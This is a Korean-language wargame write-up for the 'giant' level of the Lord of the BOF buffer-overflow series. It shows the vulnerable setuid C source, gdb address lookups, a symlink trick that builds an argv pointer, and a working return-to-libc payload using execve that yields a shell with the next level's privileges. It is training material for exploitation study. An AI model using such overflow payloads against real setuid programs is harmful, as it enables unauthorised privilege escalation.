bugbear to giant
소스를 보면,
[bugbear@localhost bugbear]$ cat giant.c
/*
The Lord of the BOF : The Fellowship of the BOF
- giant
- RTL2
*/
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
main(int argc, char *argv[])
{
char buffer[40];
FILE *fp;
char *lib_addr, *execve_offset, *execve_addr;
char *ret;
if(argc < 2){
printf("argv error\n");
exit(0);
}
// gain address of execve
fp = popen("/usr/bin/ldd /home/giant/assassin | /bin/grep libc | /bin/awk '{print $4}'", "r");
fgets(buffer, 255, fp);
sscanf(buffer, "(%x)", &lib_addr);
fclose(fp);
/home/giant/assassin 파일을 ldd로 공유라이브러리를 확인하고 그중에 libc(표준라이브러리) 를 grep으로 출력하고 그중 4번째 열(libc 라이브러리의 주소)을 popen함수를 통해 fp로 넘긴다.
fp = popen("/usr/bin/nm /lib/libc.so.6 | /bin/grep __execve | /bin/awk '{print $1}'", "r");
fgets(buffer, 255, fp);
sscanf(buffer, "%x", &execve_offset);
fclose(fp);
libc.so.6 오브젝트 파일에서 nm을 통해 심볼들을 출력하는데 grep을 통해 execve함수만 출력하도록 하고 이중 execve의 오프셋을 출력한다.
execve_addr = lib_addr + (int)execve_offset;
// end
memcpy(&ret, &(argv[1][44]), 4);
if(ret != execve_addr)
{
printf("You must use execve!\n");
exit(0);
}
strcpy(buffer, argv[1]);
printf("%s\n", buffer);
}
소스코드를 보면 ret이 execve함수가 되어야 공격을 할 수 있음을 알 수 있다.
그럼 RTL 공격을 하는데 system함수 대신 execve함수를 사용해야 한다.
일단 execve 함수의 주소부터 구해보자.
[bugbear@localhost bugbear]$ gdb giant_1
(gdb) b main
Breakpoint 1 at 0x8048566
(gdb) r aaa
Starting program: /home/bugbear/giant_1 aaa
Breakpoint 1, 0x8048566 in main ()
(gdb) print execve
$1 = {<text variable, no debug info>} 0x400a9d48 <__execve>
execve의 주소는 0x400a9d48이다.
execve(const char *path, char *const argv[], char envp[]);
.path : 실행할 파일 경로명
.argv[] : 실행파일과 같이 수행할 인자
evecve함수의 인자는 다음과 같고, 그렇다면 1번인자는 "/bin/sh"의 주소를 주면 되고,
두번째 인자는 char *argv[]={"/bin/sh",0} 을 줘야한다. 세번째 인자는 NULL을 주면된다.
첫번째 인자는 RTL을 할때 구한 0x400fbff9을 사용하면 되지만,
argv의 주소가 문제인데, 이를 심볼릭 링크를 통해 해결해보자,
[bugbear@localhost bugbear]$ cat giant_1.c
/*
The Lord of the BOF : The Fellowship of the BOF
- giant
- RTL2
*/
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
main(int argc, char *argv[])
{
char buffer[40];
FILE *fp;
char *lib_addr, *execve_offset, *execve_addr;
char *ret;
if(argc < 2){
printf("argv error\n");
exit(0);
}
// gain address of execve
fp = popen("/usr/bin/ldd /home/bugbear/giant | /bin/grep libc | /bin/awk '{print $4}'", "r");
fgets(buffer, 255, fp);
sscanf(buffer, "(%x)", &lib_addr);
fclose(fp);
fp = popen("/usr/bin/nm /lib/libc.so.6 | /bin/grep __execve | /bin/awk '{print $1}'", "r");
fgets(buffer, 255, fp);
sscanf(buffer, "%x", &execve_offset);
fclose(fp);
execve_addr = lib_addr + (int)execve_offset;
// end
memcpy(&ret, &(argv[1][44]), 4);
if(ret != execve_addr)
{
printf("You must use execve!\n");
exit(0);
}
strcpy(buffer, argv[1]);
printf("%s\n", buffer);
}
[bugbear@localhost bugbear]$ ln -s giant_1 `perl -e 'print "\xf9\xbf\x0f\x40"'`
[bugbear@localhost bugbear]$ gdb -q `perl -e 'print "\xf9\xbf\x0f\x40"'`
(gdb) b main
Breakpoint 1 at 0x8048566
(gdb) r aaaa
Starting program: /home/bugbear/廈@ aaaa
Breakpoint 1, 0x8048566 in main ()
(gdb) x/10s 0xbfffffc0
0xbfffffc0: "NG=en_US"
0xbfffffc9: "OSTYPE=Linux"
0xbfffffd6: "SHLVL=1"
0xbfffffde: "LS_COLORS="
0xbfffffe9: "/home/bugbear/廈\017@"
0xbffffffc: ""
0xbffffffd: ""
0xbffffffe: ""
0xbfffffff: ""
0xc0000000: <Address 0xc0000000 out of bounds>
(gdb) print/x 0xbfffffe9 + strlen("/home/bugbear/")
$1 = 0xbffffff7
(gdb) x/x 0xbffffffc
0xbffffffc: 0x00000000
이처럼 심볼릭 링크에 /bin/sh의 주소를 주고, 스택의 끝에 찌꺼기를 활용하면 2중포인터를 만들수 있다.
이때 우리가 사용해야 될 argv의 주소값은 0xbffffff7이다
3번째 인자인 Null도 주소값을 줘야하기 때문에 위의 gdb에서 확인한 0x00000000이 들어가 있는 0xbffffffc를 사용할 것이다.
이제 payload를 작성 해 보자.
["x"*44][&execve][&exit][&"/bin/sh"][&argv[]][&"0x00000000"]
*exit의 주소값 : 0x400391e0
공격을 해 보자.
[bugbear@localhost bugbear]$ rm `perl -e 'print "\xf9\xbf\x0f\x40"'`
[bugbear@localhost bugbear]$ ln -s giant `perl -e 'print "\xf9\xbf\x0f\x40"'`
[bugbear@localhost bugbear]$ ./`perl -e 'print "\xf9\xbf\x0f\x40"'` `perl -e 'print "x"x44,"\x48\x9d\x0a\x40","\xe
0\x91\x03\x40","\xf9\xbf\x0f\x40","\xf7\xff\xff\xbf","\xfc\xff\xff\xbf"'`
You must use execve!
//처음에 무슨 이유인지 execve를 사용하란 문장이 나왔다. 분명 ret에 execve주소를 넣었는데 이런 오류가 나와서 당황했지만, 이유를 찾아보니 execve의 주소중 0a가 null로 인식되기 때문에 스크립트 양옆에 큰 따음표 를 붙여서 해결했다.
[bugbear@localhost bugbear]$ ./`perl -e 'print "\xf9\xbf\x0f\x40"'` "`perl -e 'print "x"x44,"\x48\x9d\x0a\x40","\xe
0\x91\x03\x40","\xf9\xbf\x0f\x40","\xf7\xff\xff\xbf","\xfc\xff\xff\xbf"'`"
bash: ./: is a directory
//그런데도 이런 오류문이 뜨길래 확인 해봤더니 이번에는 bash2쉘을 키지 않고 공격하엿다.
[bugbear@localhost bugbear]$ bash2
[bugbear@localhost bugbear]$ ./`perl -e 'print "\xf9\xbf\x0f\x40"'` "`perl -e 'print "x"x44,"\x48\x9d\x0a\x40","\xe
0\x91\x03\x40","\xf9\xbf\x0f\x40","\xf7\xff\xff\xbf","\xfc\xff\xff\xbf"'`"
xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxH
??@廈@?웠
풺ash$ id
uid=513(bugbear) gid=513(bugbear) euid=514(giant) egid=514(giant) groups=513(bugbear)
bash$ my-pass
euid = 514
one step closer
bash$ exit
exit // fake ret에 exit를 넣었더니 segment fault가 안 뜨는 것을 확인 할 수 있다.
[bugbear@localhost bugbear]$